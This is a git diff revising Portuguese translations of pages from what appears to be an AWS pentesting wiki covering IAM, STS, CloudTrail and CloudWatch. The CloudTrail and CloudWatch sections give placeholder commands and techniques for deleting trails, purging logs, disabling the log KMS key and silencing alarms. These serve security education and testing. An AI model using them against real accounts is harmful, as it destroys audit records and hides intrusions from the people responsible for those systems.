diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md index 8a0045107..7b11d7a10 100644 --- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md +++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md @@ -26,14 +26,14 @@ Portanto, existem **dois tipos de contas em uma organização** (estamos falando A conta de gerenciamento tem as **responsabilidades de uma conta pagadora** e é responsável por pagar todas as cobranças acumuladas pelas contas membros. Você não pode mudar a conta de gerenciamento de uma organização. -- As **contas membros** compõem todas as outras contas em uma organização. Uma conta pode ser membro de apenas uma organização por vez. Você pode anexar uma política a uma conta para aplicar controles apenas a essa conta. +- As **contas membros** compõem todas as outras contas em uma organização. Uma conta pode ser membro de apenas uma organização por vez. Você pode anexar uma política a uma conta para aplicar controles apenas a essa conta. - As contas membros **devem usar um endereço de e-mail válido** e podem ter um **nome**, em geral, elas não poderão gerenciar a cobrança (mas podem receber acesso a isso). ``` aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com ``` -### **Unidades de Organização** +### **Unidades Organizacionais** -Contas podem ser agrupadas em **Unidades de Organização (OU)**. Dessa forma, você pode criar **políticas** para a Unidade de Organização que serão **aplicadas a todas as contas filhas**. Note que uma OU pode ter outras OUs como filhas. +Contas podem ser agrupadas em **Unidades Organizacionais (OU)**. Dessa forma, você pode criar **políticas** para a Unidade Organizacional que serão **aplicadas a todas as contas filhas**. Note que uma OU pode ter outras OUs como filhas. ```bash # You can get the root id from aws organizations list-roots aws organizations create-organizational-unit --parent-id r-lalala --name TestOU @@ -126,7 +126,7 @@ Políticas com condições de MFA podem ser anexadas aos seguintes: - A política de confiança de um papel IAM que pode ser assumido por um usuário Se você quiser **acessar via CLI** um recurso que **verifica o MFA**, você precisa chamar **`GetSessionToken`**. Isso lhe dará um token com informações sobre o MFA.\ -Note que as credenciais de **`AssumeRole` não contêm essas informações**. +Note que **as credenciais de `AssumeRole` não contêm essas informações**. ```bash aws sts get-session-token --serial-number --token-code ``` @@ -134,9 +134,9 @@ Como [**afirmado aqui**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_cre ### [Grupos de usuários IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) -Um [grupo de usuários IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) é uma maneira de **anexar políticas a vários usuários** ao mesmo tempo, o que pode facilitar a gestão das permissões para esses usuários. **Funções e grupos não podem ser parte de um grupo**. +Um [grupo de usuários](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) IAM é uma maneira de **anexar políticas a vários usuários** ao mesmo tempo, o que pode facilitar a gestão das permissões para esses usuários. **Funções e grupos não podem ser parte de um grupo**. -Você pode anexar uma **política baseada em identidade a um grupo de usuários** para que todos os **usuários** no grupo de usuários **recebam as permissões da política**. Você **não pode** identificar um **grupo de usuários** como um **`Principal`** em uma **política** (como uma política baseada em recursos) porque grupos se relacionam a permissões, não a autenticação, e principais são entidades IAM autenticadas. +Você pode anexar uma **política baseada em identidade a um grupo de usuários** para que todos os **usuários** no grupo de usuários **recebam as permissões da política**. Você **não pode** identificar um **grupo de usuários** como um **`Principal`** em uma **política** (como uma política baseada em recursos) porque grupos se relacionam a permissões, não a autenticação, e os principais são entidades IAM autenticadas. Aqui estão algumas características importantes dos grupos de usuários: @@ -147,7 +147,7 @@ Aqui estão algumas características importantes dos grupos de usuários: ### [Funções IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) -Uma **função IAM** é muito **semelhante** a um **usuário**, na medida em que é uma **identidade com políticas de permissão que determinam o que** pode e não pode fazer na AWS. No entanto, uma função **não tem credenciais** (senha ou chaves de acesso) associadas a ela. Em vez de ser exclusivamente associada a uma pessoa, uma função é destinada a ser **assumida por qualquer um que precise dela (e tenha permissões suficientes)**. Um **usuário IAM pode assumir uma função para temporariamente** assumir diferentes permissões para uma tarefa específica. Uma função pode ser **atribuída a um** [**usuário federado**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) que faz login usando um provedor de identidade externo em vez de IAM. +Uma **função** IAM é muito **semelhante** a um **usuário**, na medida em que é uma **identidade com políticas de permissão que determinam o que** pode e não pode fazer na AWS. No entanto, uma função **não tem credenciais** (senha ou chaves de acesso) associadas a ela. Em vez de ser exclusivamente associada a uma pessoa, uma função é destinada a ser **assumida por qualquer um que precise dela (e tenha permissões suficientes)**. Um **usuário IAM pode assumir uma função para temporariamente** assumir permissões diferentes para uma tarefa específica. Uma função pode ser **atribuída a um** [**usuário federado**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) que faz login usando um provedor de identidade externo em vez de IAM. Uma função IAM consiste em **dois tipos de políticas**: uma **política de confiança**, que não pode estar vazia, definindo **quem pode assumir** a função, e uma **política de permissões**, que não pode estar vazia, definindo **o que pode acessar**. @@ -166,7 +166,7 @@ O AWS Security Token Service (STS) é um serviço web que facilita a **emissão São usadas para atribuir permissões. Existem 2 tipos: - Políticas gerenciadas pela AWS (pré-configuradas pela AWS) -- Políticas gerenciadas pelo cliente: Configuradas por você. Você pode criar políticas com base em políticas gerenciadas pela AWS (modificando uma delas e criando a sua própria), usando o gerador de políticas (uma visualização GUI que ajuda você a conceder e negar permissões) ou escrevendo a sua própria. +- Políticas Gerenciadas pelo Cliente: Configuradas por você. Você pode criar políticas com base em políticas gerenciadas pela AWS (modificando uma delas e criando a sua própria), usando o gerador de políticas (uma visualização GUI que ajuda a conceder e negar permissões) ou escrevendo a sua própria. Por **padrão, o acesso** é **negado**, o acesso será concedido se um papel explícito tiver sido especificado.\ Se **um único "Negar" existir, ele irá sobrepor o "Permitir"**, exceto para solicitações que usam as credenciais de segurança raiz da conta AWS (que são permitidas por padrão). @@ -198,7 +198,7 @@ Os [campos específicos que podem ser usados para condições por serviço estã #### Políticas Inline Esse tipo de políticas são **atribuídas diretamente** a um usuário, grupo ou função. Assim, elas não aparecem na lista de Políticas, pois qualquer outra pode usá-las.\ -Políticas inline são úteis se você deseja **manter uma relação estrita de um-para-um entre uma política e a identidade** à qual ela é aplicada. Por exemplo, você quer ter certeza de que as permissões em uma política não são atribuídas inadvertidamente a uma identidade diferente daquela para a qual foram destinadas. Quando você usa uma política inline, as permissões na política não podem ser anexadas inadvertidamente à identidade errada. Além disso, quando você usa o AWS Management Console para excluir essa identidade, as políticas incorporadas na identidade também são excluídas. Isso ocorre porque elas fazem parte da entidade principal. +Políticas inline são úteis se você deseja **manter uma relação estrita um-para-um entre uma política e a identidade** à qual ela é aplicada. Por exemplo, você quer ter certeza de que as permissões em uma política não são atribuídas inadvertidamente a uma identidade diferente daquela para a qual foram destinadas. Quando você usa uma política inline, as permissões na política não podem ser anexadas inadvertidamente à identidade errada. Além disso, quando você usa o AWS Management Console para excluir essa identidade, as políticas incorporadas na identidade também são excluídas. Isso ocorre porque elas fazem parte da entidade principal. #### Políticas de Bucket de Recursos @@ -206,17 +206,17 @@ Essas são **políticas** que podem ser definidas em **recursos**. **Nem todos o Se um principal não tiver uma negação explícita sobre elas, e uma política de recurso conceder acesso, então eles são permitidos. -### Limites do IAM +### Limites IAM -Os limites do IAM podem ser usados para **limitar as permissões que um usuário ou função deve ter acesso**. Dessa forma, mesmo que um conjunto diferente de permissões seja concedido ao usuário por uma **política diferente**, a operação **falhará** se ele tentar usá-las. +Limites IAM podem ser usados para **limitar as permissões que um usuário ou função deve ter acesso**. Dessa forma, mesmo que um conjunto diferente de permissões seja concedido ao usuário por uma **política diferente**, a operação **falhará** se ele tentar usá-las. -Um limite é apenas uma política anexada a um usuário que **indica o nível máximo de permissões que o usuário ou função pode ter**. Portanto, **mesmo que o usuário tenha acesso de Administrador**, se o limite indicar que ele pode apenas ler buckets S·, esse é o máximo que ele pode fazer. +Um limite é apenas uma política anexada a um usuário que **indica o nível máximo de permissões que o usuário ou função pode ter**. Assim, **mesmo que o usuário tenha acesso de Administrador**, se o limite indicar que ele pode apenas ler buckets S·, esse é o máximo que ele pode fazer. **Isso**, **SCPs** e **seguir o princípio do menor privilégio** são as maneiras de controlar que os usuários não tenham mais permissões do que as que precisam. ### Políticas de Sessão -Uma política de sessão é uma **política definida quando uma função é assumida** de alguma forma. Isso será como um **limite do IAM para essa sessão**: Isso significa que a política de sessão não concede permissões, mas **as restringe às indicadas na política** (sendo as permissões máximas aquelas que a função possui). +Uma política de sessão é uma **política definida quando uma função é assumida** de alguma forma. Isso será como um **limite IAM para essa sessão**: Isso significa que a política de sessão não concede permissões, mas **as restringe às indicadas na política** (sendo as permissões máximas aquelas que a função possui). Isso é útil para **medidas de segurança**: Quando um administrador vai assumir uma função muito privilegiada, ele pode restringir a permissão apenas às indicadas na política de sessão, caso a sessão seja comprometida. ```bash @@ -226,7 +226,7 @@ aws sts assume-role \ [--policy-arns ] [--policy ] ``` -Note que, por padrão, **a AWS pode adicionar políticas de sessão às sessões** que estão prestes a ser geradas por outros motivos. Por exemplo, em [funções assumidas do cognito não autenticadas](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) por padrão (usando autenticação aprimorada), a AWS gerará **credenciais de sessão com uma política de sessão** que limita os serviços que a sessão pode acessar [**à seguinte lista**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services). +Note que, por padrão, **a AWS pode adicionar políticas de sessão às sessões** que estão prestes a ser geradas por razões de terceiros. Por exemplo, em [funções assumidas do cognito não autenticadas](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) por padrão (usando autenticação aprimorada), a AWS gerará **credenciais de sessão com uma política de sessão** que limita os serviços que a sessão pode acessar [**à seguinte lista**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services). Portanto, se em algum momento você enfrentar o erro "... porque nenhuma política de sessão permite o ...", e a função tem acesso para realizar a ação, é porque **há uma política de sessão impedindo isso**. @@ -267,7 +267,7 @@ Portanto, mesmo que você veja 2 funções com uma política inline chamada **`A ### Confianças e Funções entre Contas -**Um usuário** (confiando) pode criar uma Função entre Contas com algumas políticas e, em seguida, **permitir que outro usuário** (confiável) **acesse sua conta**, mas apenas **tendo o acesso indicado nas novas políticas da função**. Para criar isso, basta criar uma nova Função e selecionar Função entre Contas. Funções para Acesso entre Contas oferecem duas opções. Fornecendo acesso entre contas AWS que você possui e fornecendo acesso entre uma conta que você possui e uma conta AWS de terceiros.\ +**Um usuário** (confiando) pode criar uma Função entre Contas com algumas políticas e, em seguida, **permitir que outro usuário** (confiável) **acesse sua conta**, mas apenas **tendo o acesso indicado nas novas políticas da função**. Para criar isso, basta criar uma nova Função e selecionar Função entre Contas. Funções para Acesso entre Contas oferecem duas opções. Fornecendo acesso entre contas da AWS que você possui e fornecendo acesso entre uma conta que você possui e uma conta AWS de terceiros.\ É recomendado **especificar o usuário que é confiável e não colocar algo genérico**, porque, caso contrário, outros usuários autenticados, como usuários federados, também poderão abusar dessa confiança. ### AWS Simple AD @@ -275,7 +275,7 @@ Portanto, mesmo que você veja 2 funções com uma política inline chamada **`A Não suportado: - Relações de Confiança -- Centro de Administração do AD +- AD Admin Center - Suporte completo à API PS - Lixeira do AD - Contas de Serviço Gerenciadas por Grupo @@ -331,7 +331,7 @@ Os seguintes privilégios concedem vários acessos de leitura de metadados: ### Autenticação CLI Para que um usuário regular se autentique na AWS via CLI, você precisa ter **credenciais locais**. Por padrão, você pode configurá-las **manualmente** em `~/.aws/credentials` ou **executando** `aws configure`.\ -Nesse arquivo, você pode ter mais de um perfil; se **nenhum perfil** for especificado usando a **aws cli**, o chamado **`[default]`** nesse arquivo será usado.\ +Nesse arquivo, você pode ter mais de um perfil; se **nenhum perfil** for especificado usando o **aws cli**, o chamado **`[default]`** nesse arquivo será usado.\ Exemplo de arquivo de credenciais com mais de 1 perfil: ``` [default] @@ -355,7 +355,7 @@ role_session_name = source_profile = sts_regional_endpoints = regional ``` -Com este arquivo de configuração, você pode usar aws cli assim: +Com este arquivo de configuração, você pode então usar aws cli como: ``` aws --profile acc2 ... ``` diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md index 016f949c1..53ce7a099 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md @@ -77,15 +77,15 @@ Observe que, para permitir que o CloudTrail envie os logs para o CloudWatch, é ### Event History -O Event History do CloudTrail permite que você inspecione em uma tabela os logs que foram registrados: +O Histórico de Eventos do CloudTrail permite que você inspecione em uma tabela os logs que foram registrados: ![](<../../../../images/image (89).png>) ### Insights -**O CloudTrail Insights** automaticamente **analisa** eventos de gerenciamento de escrita dos trails do CloudTrail e **avisa** você sobre **atividades incomuns**. Por exemplo, se houver um aumento nos eventos `TerminateInstance` que difere das linhas de base estabelecidas, você verá isso como um evento de Insight. Esses eventos tornam **mais fácil do que nunca encontrar e responder a atividades incomuns de API**. +**O CloudTrail Insights** analisa automaticamente eventos de gerenciamento de escrita dos trilhos do CloudTrail e **avisa** você sobre **atividades incomuns**. Por exemplo, se houver um aumento nos eventos `TerminateInstance` que difere das linhas de base estabelecidas, você verá isso como um evento de Insight. Esses eventos tornam **mais fácil encontrar e responder a atividades incomuns de API** do que nunca. -As insights são armazenadas no mesmo bucket que os logs do CloudTrail em: `BucketName/AWSLogs/AccountID/CloudTrail-Insight` +Os insights são armazenados no mesmo bucket que os logs do CloudTrail em: `BucketName/AWSLogs/AccountID/CloudTrail-Insight` ### Security | Control Name | Implementation Details | @@ -96,7 +96,7 @@ As insights são armazenadas no mesmo bucket que os logs do CloudTrail em: `Buck ## Access Advisor -O AWS Access Advisor depende dos últimos 400 dias de logs do AWS **CloudTrail para reunir suas insights**. O CloudTrail captura um histórico das chamadas de API da AWS e eventos relacionados feitos em uma conta da AWS. O Access Advisor utiliza esses dados para **mostrar quando os serviços foram acessados pela última vez**. Ao analisar os logs do CloudTrail, o Access Advisor pode determinar quais serviços da AWS um usuário ou role IAM acessou e quando esse acesso ocorreu. Isso ajuda os administradores da AWS a tomar decisões informadas sobre **refinar permissões**, pois podem identificar serviços que não foram acessados por longos períodos e potencialmente reduzir permissões excessivamente amplas com base em padrões de uso reais. +O AWS Access Advisor depende dos últimos 400 dias de logs do AWS **CloudTrail para reunir suas percepções**. O CloudTrail captura um histórico de chamadas de API da AWS e eventos relacionados feitos em uma conta da AWS. O Access Advisor utiliza esses dados para **mostrar quando os serviços foram acessados pela última vez**. Ao analisar os logs do CloudTrail, o Access Advisor pode determinar quais serviços da AWS um usuário ou role IAM acessou e quando esse acesso ocorreu. Isso ajuda os administradores da AWS a tomar decisões informadas sobre **refinar permissões**, pois podem identificar serviços que não foram acessados por longos períodos e potencialmente reduzir permissões excessivamente amplas com base em padrões de uso reais. > [!TIP] > Portanto, o Access Advisor informa sobre **as permissões desnecessárias sendo concedidas aos usuários** para que o administrador possa removê-las @@ -204,9 +204,9 @@ Dessa forma, um **atacante pode obter o ARN da chave sem acionar nenhum log**. N ### Acessando Infraestrutura de Terceiros -Certos serviços AWS irão **gerar alguma infraestrutura** como **Bancos de Dados** ou **clusters Kubernetes** (EKS). Um usuário **falando diretamente com esses serviços** (como a API do Kubernetes) **não usará a API AWS**, então o CloudTrail não será capaz de ver essa comunicação. +Certos serviços AWS irão **gerar alguma infraestrutura** como **Bancos de Dados** ou **clusters Kubernetes** (EKS). Um usuário **falando diretamente com esses serviços** (como a API do Kubernetes) **não usará a API AWS**, então o CloudTrail não poderá ver essa comunicação. -Portanto, um usuário com acesso ao EKS que descobriu a URL da API do EKS poderia gerar um token localmente e **falar diretamente com o serviço da API sem ser detectado pelo CloudTrail**. +Portanto, um usuário com acesso ao EKS que descobriu a URL da API do EKS poderia gerar um token localmente e **falar com o serviço da API diretamente sem ser detectado pelo CloudTrail**. Mais informações em: @@ -216,7 +216,7 @@ Mais informações em: ### Modificando a Configuração do CloudTrail -#### Deletar trilhas +#### Excluir trilhas ```bash aws cloudtrail delete-trail --name [trail-name] ``` @@ -251,7 +251,7 @@ aws s3api put-bucket-lifecycle --bucket --lifecycle-configuration - Adicionar política de ciclo de vida ao bucket S3 para excluir objetos - Desativar a chave KMS usada para criptografar os logs do CloudTrail -### Ransomware do Cloudtrail +### Ransomware Cloudtrail #### Ransomware S3 diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md index 105d42bef..862f2e084 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md @@ -4,9 +4,9 @@ ## CloudWatch -**CloudWatch** **coleta** dados de monitoramento e operação na forma de logs/métricas/eventos, fornecendo uma **visão unificada dos recursos AWS**, aplicações e serviços.\ +**CloudWatch** **coleta** dados de monitoramento e operação na forma de logs/métricas/eventos, fornecendo uma **visão unificada dos recursos da AWS**, aplicativos e serviços.\ O evento de log do CloudWatch tem uma **limitação de tamanho de 256KB em cada linha de log**.\ -Ele pode definir **alarmas de alta resolução**, visualizar **logs** e **métricas** lado a lado, tomar ações automatizadas, solucionar problemas e descobrir insights para otimizar aplicações. +Ele pode definir **alarmas de alta resolução**, visualizar **logs** e **métricas** lado a lado, tomar ações automatizadas, solucionar problemas e descobrir insights para otimizar aplicativos. Você pode monitorar, por exemplo, logs do CloudTrail. Eventos que são monitorados: @@ -14,38 +14,38 @@ Você pode monitorar, por exemplo, logs do CloudTrail. Eventos que são monitora - Início, Parada, reinicialização e término de instâncias EC2 - Mudanças nas Políticas de Segurança dentro do IAM e S3 - Tentativas de login falhadas no Console de Gerenciamento da AWS -- Chamadas de API que resultaram em falha de autorização +- Chamadas de API que resultaram em autorização falhada - Filtros para pesquisar no cloudwatch: [https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html) ## Conceitos-chave ### Namespaces -Um namespace é um contêiner para métricas do CloudWatch. Ele ajuda a categorizar e isolar métricas, facilitando a gestão e análise delas. +Um namespace é um contêiner para métricas do CloudWatch. Ele ajuda a categorizar e isolar métricas, facilitando o gerenciamento e a análise delas. - **Exemplos**: AWS/EC2 para métricas relacionadas ao EC2, AWS/RDS para métricas do RDS. ### Métricas -Métricas são pontos de dados coletados ao longo do tempo que representam o desempenho ou utilização dos recursos AWS. Métricas podem ser coletadas de serviços AWS, aplicações personalizadas ou integrações de terceiros. +Métricas são pontos de dados coletados ao longo do tempo que representam o desempenho ou a utilização dos recursos da AWS. As métricas podem ser coletadas de serviços da AWS, aplicativos personalizados ou integrações de terceiros. - **Exemplo**: CPUUtilization, NetworkIn, DiskReadOps. ### Dimensões -Dimensões são pares chave-valor que fazem parte das métricas. Elas ajudam a identificar de forma única uma métrica e fornecem contexto adicional, sendo 30 o número máximo de dimensões que podem ser associadas a uma métrica. Dimensões também permitem filtrar e agregar métricas com base em atributos específicos. +Dimensões são pares chave-valor que fazem parte das métricas. Elas ajudam a identificar exclusivamente uma métrica e fornecem contexto adicional, sendo 30 o número máximo de dimensões que podem ser associadas a uma métrica. As dimensões também permitem filtrar e agregar métricas com base em atributos específicos. - **Exemplo**: Para instâncias EC2, as dimensões podem incluir InstanceId, InstanceType e AvailabilityZone. ### Estatísticas -Estatísticas são cálculos matemáticos realizados sobre dados de métricas para resumi-los ao longo do tempo. Estatísticas comuns incluem Média, Soma, Mínimo, Máximo e Contagem de Amostras. +Estatísticas são cálculos matemáticos realizados em dados de métricas para resumi-los ao longo do tempo. Estatísticas comuns incluem Média, Soma, Mínimo, Máximo e Contagem de Amostras. - **Exemplo**: Calcular a média de utilização da CPU ao longo de um período de uma hora. ### Unidades -Unidades são o tipo de medida associado a uma métrica. Unidades ajudam a fornecer contexto e significado aos dados da métrica. Unidades comuns incluem Percentual, Bytes, Segundos, Contagem. +Unidades são o tipo de medição associado a uma métrica. As unidades ajudam a fornecer contexto e significado aos dados da métrica. Unidades comuns incluem Percentual, Bytes, Segundos, Contagem. - **Exemplo**: CPUUtilization pode ser medido em Percentual, enquanto NetworkIn pode ser medido em Bytes. @@ -53,12 +53,12 @@ Unidades são o tipo de medida associado a uma métrica. Unidades ajudam a forne ### Painel -**Painéis do CloudWatch** fornecem **visões personalizáveis das suas métricas do AWS CloudWatch**. É possível criar e configurar painéis para visualizar dados e monitorar recursos em uma única visão, combinando diferentes métricas de vários serviços AWS. +**Painéis do CloudWatch** fornecem **visões personalizáveis das suas métricas do AWS CloudWatch**. É possível criar e configurar painéis para visualizar dados e monitorar recursos em uma única visão, combinando diferentes métricas de vários serviços da AWS. -**Recursos Principais**: +**Principais Recursos**: - **Widgets**: Blocos de construção de painéis, incluindo gráficos, texto, alarmes e mais. -- **Personalização**: Layout e conteúdo podem ser personalizados para atender a necessidades específicas de monitoramento. +- **Personalização**: O layout e o conteúdo podem ser personalizados para atender a necessidades específicas de monitoramento. **Exemplo de Caso de Uso**: @@ -68,12 +68,12 @@ Unidades são o tipo de medida associado a uma métrica. Unidades ajudam a forne **Fluxos de Métricas** no AWS CloudWatch permitem que você transmita continuamente métricas do CloudWatch para um destino de sua escolha em quase tempo real. Isso é particularmente útil para monitoramento avançado, análises e painéis personalizados usando ferramentas fora da AWS. -**Dados de Métricas** dentro dos Fluxos de Métricas referem-se às medições reais ou pontos de dados que estão sendo transmitidos. Esses pontos de dados representam várias métricas como utilização da CPU, uso de memória, etc., para recursos AWS. +**Dados de Métricas** dentro dos Fluxos de Métricas referem-se às medições reais ou pontos de dados que estão sendo transmitidos. Esses pontos de dados representam várias métricas, como utilização da CPU, uso de memória, etc., para recursos da AWS. **Exemplo de Caso de Uso**: - Enviando métricas em tempo real para um serviço de monitoramento de terceiros para análise avançada. -- Arquivando métricas em um bucket Amazon S3 para armazenamento a longo prazo e conformidade. +- Arquivando métricas em um bucket do Amazon S3 para armazenamento a longo prazo e conformidade. ### Alarme @@ -101,13 +101,13 @@ Unidades são o tipo de medida associado a uma métrica. Unidades ajudam a forne **Exemplo de Caso de Uso**: -- Detectando padrões incomuns de utilização da CPU em uma instância EC2 que podem indicar uma violação de segurança ou problema de aplicação. +- Detectando padrões incomuns de utilização da CPU em uma instância EC2 que podem indicar uma violação de segurança ou problema de aplicativo. ### Regras de Insight e Regras de Insight Gerenciadas **Regras de Insight** permitem que você identifique tendências, detecte picos ou outros padrões de interesse em seus dados de métricas usando **expressões matemáticas poderosas** para definir as condições sob as quais ações devem ser tomadas. Essas regras podem ajudá-lo a identificar anomalias ou comportamentos incomuns no desempenho e utilização de seus recursos. -**Regras de Insight Gerenciadas** são regras de insight **pré-configuradas fornecidas pela AWS**. Elas são projetadas para monitorar serviços AWS específicos ou casos de uso comuns e podem ser ativadas sem a necessidade de configuração detalhada. +**Regras de Insight Gerenciadas** são regras de insight **pré-configuradas fornecidas pela AWS**. Elas são projetadas para monitorar serviços específicos da AWS ou casos de uso comuns e podem ser ativadas sem a necessidade de configuração detalhada. **Exemplo de Caso de Uso**: @@ -115,14 +115,14 @@ Unidades são o tipo de medida associado a uma métrica. Unidades ajudam a forne ### Logs do CloudWatch -Permite **agregar e monitorar logs de aplicações** e sistemas de **serviços AWS** (incluindo CloudTrail) e **de apps/sistemas** (**CloudWatch Agent** pode ser instalado em um host). Logs podem ser **armazenados indefinidamente** (dependendo das configurações do Grupo de Logs) e podem ser exportados. +Permite **agregar e monitorar logs de aplicativos** e sistemas de **serviços da AWS** (incluindo CloudTrail) e **de aplicativos/sistemas** (**CloudWatch Agent** pode ser instalado em um host). Os logs podem ser **armazenados indefinidamente** (dependendo das configurações do Grupo de Logs) e podem ser exportados. **Elementos**: | Termo | Definição | | ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------- | | **Grupo de Logs** | Uma **coleção de fluxos de logs** que compartilham as mesmas configurações de retenção, monitoramento e controle de acesso | | **Fluxo de Logs** | Uma sequência de **eventos de log** que compartilham a **mesma fonte** | -| **Filtros de Assinatura** | Define um **padrão de filtro que corresponde a eventos** em um grupo de logs específico, enviando-os para o fluxo Kinesis Data Firehose, fluxo Kinesis ou uma função Lambda | +| **Filtros de Assinatura** | Define um **padrão de filtro que corresponde a eventos** em um grupo de logs específico, enviando-os para o fluxo do Kinesis Data Firehose, fluxo do Kinesis ou uma função Lambda | ### Monitoramento e Eventos do CloudWatch @@ -216,9 +216,9 @@ aws events list-event-buses ### **`cloudwatch:DeleteAlarms`,`cloudwatch:PutMetricAlarm` , `cloudwatch:PutCompositeAlarm`** -Um atacante com essas permissões poderia comprometer significativamente a infraestrutura de monitoramento e alerta de uma organização. Ao deletar alarmes existentes, um atacante poderia desativar alertas cruciais que notificam os administradores sobre problemas críticos de desempenho, violações de segurança ou falhas operacionais. Além disso, ao criar ou modificar alarmes de métricas, o atacante também poderia enganar os administradores com alertas falsos ou silenciar alarmes legítimos, efetivamente mascarando atividades maliciosas e impedindo respostas rápidas a incidentes reais. +Um atacante com essas permissões poderia comprometer significativamente a infraestrutura de monitoramento e alerta de uma organização. Ao deletar alarmes existentes, um atacante poderia desativar alertas cruciais que notificam os administradores sobre problemas críticos de desempenho, violações de segurança ou falhas operacionais. Além disso, ao criar ou modificar alarmes de métrica, o atacante também poderia enganar os administradores com alertas falsos ou silenciar alarmes legítimos, efetivamente mascarando atividades maliciosas e impedindo respostas rápidas a incidentes reais. -Além disso, com a permissão **`cloudwatch:PutCompositeAlarm`**, um atacante seria capaz de criar um loop ou ciclo de alarmes compostos, onde o alarme composto A depende do alarme composto B, e o alarme composto B também depende do alarme composto A. Nesse cenário, não é possível deletar qualquer alarme composto que faça parte do ciclo, pois sempre haverá um alarme composto que depende daquele alarme que você deseja deletar. +Além disso, com a permissão **`cloudwatch:PutCompositeAlarm`**, um atacante seria capaz de criar um loop ou ciclo de alarmes compostos, onde o alarme composto A depende do alarme composto B, e o alarme composto B também depende do alarme composto A. Nesse cenário, não é possível deletar qualquer alarme composto que faça parte do ciclo porque sempre haverá um alarme composto que depende daquele alarme que você deseja deletar. ```bash aws cloudwatch put-metric-alarm --cli-input-json | --alarm-name --comparison-operator --evaluation-periods [--datapoints-to-alarm ] [--threshold ] [--alarm-description ] [--alarm-actions ] [--metric-name ] [--namespace ] [--statistic ] [--dimensions ] [--period ] aws cloudwatch delete-alarms --alarm-names @@ -227,7 +227,7 @@ aws cloudwatch put-composite-alarm --alarm-name --alarm-rule [-- O seguinte exemplo mostra como tornar um alarme de métrica ineficaz: - Este alarme de métrica monitora a utilização média da CPU de uma instância EC2 específica, avalia a métrica a cada 300 segundos e requer 6 períodos de avaliação (30 minutos no total). Se a utilização média da CPU exceder 60% por pelo menos 4 desses períodos, o alarme será acionado e enviará uma notificação para o tópico SNS especificado. -- Ao modificar o Threshold para ser superior a 99%, definindo o Period para 10 segundos, os Evaluation Periods para 8640 (já que 8640 períodos de 10 segundos equivalem a 1 dia) e os Datapoints to Alarm para 8640 também, seria necessário que a utilização da CPU estivesse acima de 99% a cada 10 segundos durante todo o período de 24 horas para acionar um alarme. +- Ao modificar o Threshold para ser superior a 99%, definir o Period para 10 segundos, os Evaluation Periods para 8640 (já que 8640 períodos de 10 segundos equivalem a 1 dia) e os Datapoints to Alarm para 8640 também, seria necessário que a utilização da CPU estivesse acima de 99% a cada 10 segundos durante todo o período de 24 horas para acionar um alarme. {{#tabs }} {{#tab name="Original Metric Alarm" }} @@ -279,13 +279,13 @@ O seguinte exemplo mostra como tornar um alarme de métrica ineficaz: {{#endtab }} {{#endtabs }} -**Impacto Potencial**: Falta de notificações para eventos críticos, problemas potenciais não detectados, alertas falsos, suprimir alertas genuínos e potencialmente detecções perdidas de incidentes reais. +**Impacto Potencial**: Falta de notificações para eventos críticos, problemas potenciais não detectados, alertas falsos, supressão de alertas genuínos e potencialmente detecções perdidas de incidentes reais. ### **`cloudwatch:DeleteAlarmActions`, `cloudwatch:EnableAlarmActions`, `cloudwatch:SetAlarmState`** -Ao deletar ações de alarme, o atacante poderia impedir que alertas críticos e respostas automatizadas fossem acionados quando um estado de alarme é alcançado, como notificar administradores ou acionar atividades de auto-escalonamento. Habilitar ou reabilitar ações de alarme de forma inadequada também poderia levar a comportamentos inesperados, seja reativando ações previamente desativadas ou modificando quais ações são acionadas, potencialmente causando confusão e desvio na resposta a incidentes. +Ao deletar ações de alarme, o atacante poderia impedir que alertas críticos e respostas automatizadas fossem acionados quando um estado de alarme é alcançado, como notificar administradores ou acionar atividades de auto-escalonamento. Habilitar ou re-habilitar ações de alarme de forma inadequada também poderia levar a comportamentos inesperados, seja reativando ações previamente desativadas ou modificando quais ações são acionadas, potencialmente causando confusão e desvio na resposta a incidentes. -Além disso, um atacante com a permissão poderia manipular estados de alarme, sendo capaz de criar falsos alarmes para distrair e confundir administradores, ou silenciar alarmes genuínos para esconder atividades maliciosas em andamento ou falhas críticas do sistema. +Além disso, um atacante com a permissão poderia manipular estados de alarme, sendo capaz de criar alarmes falsos para distrair e confundir administradores, ou silenciar alarmes genuínos para ocultar atividades maliciosas em andamento ou falhas críticas do sistema. - Se você usar **`SetAlarmState`** em um alarme composto, o alarme composto não é garantido para retornar ao seu estado real. Ele retorna ao seu estado real apenas uma vez que qualquer um de seus alarmes filhos muda de estado. Ele também é reavaliado se você atualizar sua configuração. 